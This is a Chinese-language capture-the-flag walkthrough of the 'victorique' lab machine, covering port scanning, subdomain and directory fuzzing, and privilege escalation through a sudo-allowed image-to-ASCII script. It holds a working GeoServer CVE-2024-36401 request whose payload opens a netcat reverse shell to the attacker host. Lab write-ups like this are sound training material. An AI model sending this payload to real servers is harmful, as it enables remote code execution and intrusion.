<h1>victorique</h1>
<h2>Recon</h2>
<h3>PortScan</h3>
端口扫描
<pre><code class="hljs language-jsx">➜ victorique nmap -p- -n -Pn -sV 192.168.56.105 -min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-13 10:58 CST
Nmap scan report for 192.168.56.105
Host is up (0.000049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
MAC Address: 08:00:27:4E:E1:A2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds
</code></pre>
<h3>Fuzz</h3>
访问 HTTP 服务，提示要通过域名访问，添加域名到 hosts 文件
<img src="/post-images/Machinevictorique/image.png" alt="image.png">
能发现存在登录框，但是没有任何账户密码，所以暂时不进行爆破
<img src="/post-images/Machinevictorique/image1.png" alt="image.png">
进行子域名爆破，得到子域名 <code>gifts</code>
<pre><code class="hljs language-jsx">➜ victorique ffuf -u 'http://victorique.xyz' -H 'host: FUZZ.victorique.xyz' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 89

 /'___\ /'___\ /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/ 
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ 
 \ \_\ \ \_\ \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/ 

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://victorique.xyz
 :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header : Host: FUZZ.victorique.xyz
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter : Response size: 89
________________________________________________

www [Status: 200, Size: 8326, Words: 2295, Lines: 197, Duration: 426ms]
gifts [Status: 200, Size: 8367, Words: 2299, Lines: 200, Duration: 1ms]
</code></pre>
访问后得到一组凭据 <code>ookami:GoS1Ck</code>
<img src="/post-images/Machinevictorique/image2.png" alt="image.png">
尝试在登录框进行登录，提示藏在更深处
<img src="/post-images/Machinevictorique/image3.png" alt="image.png">
进行目录爆破，并添加多种后缀
总共添加四种后缀，大概在 40w 行能扫出来东西，是通过后缀 .txt 扫描出来的
<pre><code class="hljs language-jsx">➜ victorique feroxbuster --url 'http://gifts.victorique.xyz/' -x php,html,zip,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

 ___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯 Target Url │ http://gifts.victorique.xyz/
 🚩 In-Scope Url │ gifts.victorique.xyz
 🚀 Threads │ 50
 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌 Status Codes │ All Status Codes!
 💥 Timeout (secs) │ 7
 🦡 User-Agent │ feroxbuster/2.13.0
 💉 Config File │ /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links │ true
 💲 Extensions │ [php, html, zip, txt]
 🏁 HTTP methods │ [GET]
 🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 285c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 199l 650w 8367c http://gifts.victorique.xyz/
200 GET 199l 650w 8367c http://gifts.victorique.xyz/index.html
200 GET 57l 935w 9785c http://gifts.victorique.xyz/greatgifts.txt
[####################] - 65s 1102735/1102735 0s found:3 errors:2 
[####################] - 64s 1102730/1102730 17227/s http://gifts.victorique.xyz/ 
</code></pre>
访问 <code>http://gifts.victorique.xyz/greatgifts.tx</code> 得到一串字符串 <code>Ka4zuyaKujo0</code>
<pre><code class="hljs language-jsx">Real Gifts: Ka4zuyaKujo0
Use it to find new things
</code></pre>
<h2>CVE-2024-36401</h2>
将其作为子域名添加到 hosts 文件后，进行访问能发现该站点下运行的是 <code>GeoServer</code>
<img src="/post-images/Machinevictorique/image4.png" alt="image.png">
通过搜索引擎进行搜索，能找到GeoServer 存在一个 RCE 漏洞 <code>CVE-2024-36401</code>
利用方案：<a href="https://www.dalon.top/archives/geoserver-cve-2024-36401-lou-dong-fu-xian">https://www.dalon.top/archives/geoserver-cve-2024-36401-lou-dong-fu-xian</a>
构造请求
<pre><code class="hljs language-bash">POST /geoserver/wfs HTTP/1.1
Host: ka4zuyakujo0.victorique.xyz
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 442

&#x3C;wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
 &#x3C;wfs:Query typeNames='sf:archsites'/>
 &#x3C;wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'busybox nc 192.168.56.102 1234 -e /bin/bash')&#x3C;/wfs:valueReference>
&#x3C;/wfs:GetPropertyValue>
</code></pre>
成功反弹
<img src="/post-images/Machinevictorique/image5.png" alt="image.png">
读取 <code>user.txt</code>
<pre><code class="hljs language-bash">victorique@Victorique:~$ cat user.txt 
flag{user-Gosick-Cordelia Gallo}
</code></pre>
<h2>提权</h2>
在家目录能找到 <code>hint</code>
<pre><code class="hljs language-bash">victorique@Victorique:~$ cat hint.txt 
Found some useful fragments. Converted them into a visual representation.

 --Cordelia Gallo
</code></pre>
<blockquote>
找到了一些有用的片段，并将它们转换成了可视化的形式。
</blockquote>
并且家目录下有一个 <code>png</code> 文件，仅允许 root 查看
<pre><code class="hljs language-bash">victorique@Victorique:~$ ls -al
total 140
drwxr-xr-x 4 victorique victorique 4096 Dec 12 21:35 .
drwxr-xr-x 3 root root 4096 Dec 12 04:55 ..
lrwxrwxrwx 1 root root 9 Dec 12 02:36 .bash_history -> /dev/null
-rw-r--r-- 1 victorique victorique 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 victorique victorique 3526 Apr 18 2019 .bashrc
drwxr-xr-x 12 victorique victorique 4096 Dec 12 00:21 Geo
-rw-r--r-- 1 root root 149 Dec 12 21:35 hint.txt
***-rwx------ 1 root root 105918 Dec 12 04:08 .kagura.png***
drwxr-xr-x 2 victorique victorique 4096 Dec 12 21:36 .oracle_jre_usage
-rw-r--r-- 1 victorique victorique 807 Apr 18 2019 .profile
-rw-r--r-- 1 root root 33 Dec 12 02:40 user.txt
</code></pre>
查看 sudo 权限，需要密码
<pre><code class="hljs language-bash">victorique@Victorique:~$ sudo -l
[sudo] password for victorique: 
sudo: a password is required
</code></pre>
枚举后，在 <code>/var/www/html/login.php</code> 中能找到用户 <code>victorique</code> 的密码 <code>shinigami_qujo</code>
<pre><code class="hljs language-bash">victorique@Victorique:~$ cat /var/www/html/login.php | grep Password
 // 用户 victorique 的密码,User victorique's Password: shinigami_qujo
</code></pre>
再次查看 sudo 权限
可以以 root 权限运行 <code>/usr/bin/python3 /opt/img2txt.py *</code>
<pre><code class="hljs language-bash">victorique@Victorique:~$ sudo -l
[sudo] password for victorique: 
Matching Defaults entries for victorique on Victorique:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User victorique may run the following commands on Victorique:
 (ALL) /usr/bin/python3 /opt/img2txt.py *
</code></pre>
查看文件内容，可以知道该文件来自于项目：<a href="https://github.com/vietnh1009/ASCII-generator">https://github.com/vietnh1009/ASCII-generator</a>
<code>img2txt</code> 是将图片格式文件转换城ASCII艺术的工具，并且家目录刚好有没有权限查看的图片
将其进行转换
<pre><code class="hljs language-bash">victorique@Victorique:~$ sudo /usr/bin/python3 /opt/img2txt.py --input .kagura.png --output 1.txt
</code></pre>
将图片转换为了 ASCII 艺术
<img src="/post-images/Machinevictorique/image6.png" alt="image.png">
寻找其他图片，总共三个图片后缀找到了图片
<pre><code class="hljs language-bash">victorique@Victorique:~$ find / -name "*.png" ! -readable 2>/dev/null
/home/victorique/.kagura.png
/opt/.kujo.png
/etc/ssh/.shinigami.png
/var/www/html/.victorique.png

victorique@Victorique:~$ find / -name "*.webp" ! -readable 2>/dev/null
/gallo.webp
/var/www/html/IoIooIIOIOio/sunset.webp

victorique@Victorique:~$ find / -name "*.ppm" ! -readable 2>/dev/null
/usr/games/.haru.ppm
/var/mail/.ciallo.ppm
</code></pre>
全部尝试之后，其中 <code>/etc/ssh/.shinigami.png</code> 和 <code>/var/www/html/IoIooIIOIOio/sunset.webp</code> 以及 <code>/usr/games/.haru.ppm</code> 都是能转译成文字的
<pre><code class="hljs language-bash">sudo /usr/bin/python3 /opt/img2txt.py --input /etc/ssh/.shinigami.png --output 1.txt --mode simple
sudo /usr/bin/python3 /opt/img2txt.py --input /var/www/html/IoIooIIOIOio/sunset.webp --output 2.txt --mode simple
sudo /usr/bin/python3 /opt/img2txt.py --input /usr/games/.haru.ppm --output 3.txt --mode simple
</code></pre>
分别是 <code>ch4mp</code>，<code>C11pp3r5</code>，<code>10n5h1p</code>
<img src="/post-images/Machinevictorique/image7.png" alt="image.png">
能组合成如下字符串：
<ul>
<li><code>ch4mpC11pp3r510n5h1p</code></li>
<li><code>ch4mp10n5h1pC11pp3r5</code></li>
<li><code>C11pp3r5ch4mp10n5h1p</code></li>
<li><code>C11pp3r510n5h1pch4mp</code></li>
<li><code>10n5h1pch4mpC11pp3r5</code></li>
<li><code>10n5h1pC11pp3r5ch4mp</code></li>
</ul>
进行密码碰撞，<code>C11pp3r5ch4mp10n5h1p</code> 为 <code>root</code> 用户密码
<pre><code class="hljs language-bash">victorique@Victorique:~$ su root
Password: # C11pp3r5ch4mp10n5h1p
root@Victorique:/home/victorique# 
</code></pre>
<code>root.png</code> 也是要通过 <code>img2txt.py</code> 进行转换，并且需要指定大小参数，否则显示太模糊
或者你可以将文件传输到攻击机然后打开
<pre><code class="hljs language-bash">root@Victorique:~# python3 /opt/img2txt.py --input root.png --output root.txt --num_cols 1000
</code></pre>
<img src="/post-images/Machinevictorique/image8.png" alt="image.png">
全部是：
<pre><code class="hljs language-bash">flag{root-Gosick-Victorique De Blois}
</code></pre>

victorique Recon PortScan 端口扫描 Fuzz 访问 HTTP 服务，提示要通过域名访问，添加域名到 hosts 文件 能发现存在登录框，但是没有任何账户密码，所以暂时不进行爆破 进行子域名爆破，得到子域名 gifts 访问后得到一组凭据 ookami:GoS1Ck 尝试在登...

Machine - victorique

TheHackersLabs - Koi Stealer